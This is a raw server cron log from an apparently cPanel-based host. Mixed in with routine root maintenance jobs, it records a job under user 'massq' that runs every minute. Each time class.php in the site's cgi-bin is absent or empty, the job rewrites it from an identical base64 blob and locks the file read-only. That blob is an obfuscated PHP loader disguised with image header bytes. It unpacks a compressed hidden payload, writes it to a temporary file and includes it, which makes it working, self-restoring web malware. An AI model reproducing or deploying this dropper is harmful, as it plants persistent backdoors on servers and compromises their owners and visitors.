Sep  9 15:14:01 server CROND[4565]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:14:01 server CROND[4566]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:15:01 server CROND[4947]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:15:01 server CROND[4948]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:15:01 server CROND[4953]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:15:01 server CROND[4956]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:15:01 server CROND[4955]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:15:01 server CROND[4954]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:15:01 server CROND[4960]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:15:01 server CROND[4958]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 15:16:01 server CROND[5794]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:16:01 server CROND[5795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:16:01 server CROND[5796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:17:01 server CROND[6166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:17:01 server CROND[6167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:17:01 server CROND[6168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:18:01 server CROND[6542]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:18:01 server CROND[6543]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:18:01 server CROND[6544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:19:01 server CROND[7080]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:19:01 server CROND[7081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:19:01 server CROND[7082]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:20:01 server CROND[7462]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:20:01 server CROND[7464]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 15:20:01 server CROND[7465]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:20:01 server CROND[7468]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:20:01 server CROND[7469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:20:01 server CROND[7467]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 15:20:01 server CROND[7466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:20:01 server CROND[7471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:20:01 server CROND[7470]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:21:01 server CROND[8292]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:21:01 server CROND[8293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:21:01 server CROND[8294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:22:01 server CROND[8665]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:22:01 server CROND[8664]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:22:01 server CROND[8666]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:23:01 server CROND[9051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:23:01 server CROND[9052]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:23:01 server CROND[9053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:24:01 server CROND[9509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:24:01 server CROND[9510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:24:01 server CROND[9511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:25:01 server CROND[9887]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 15:25:01 server CROND[9893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 15:25:01 server CROND[9894]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 15:25:01 server CROND[9900]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 15:25:01 server CROND[9897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 15:25:01 server CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 15:25:01 server CROND[9898]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 15:26:01 server CROND[10777]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
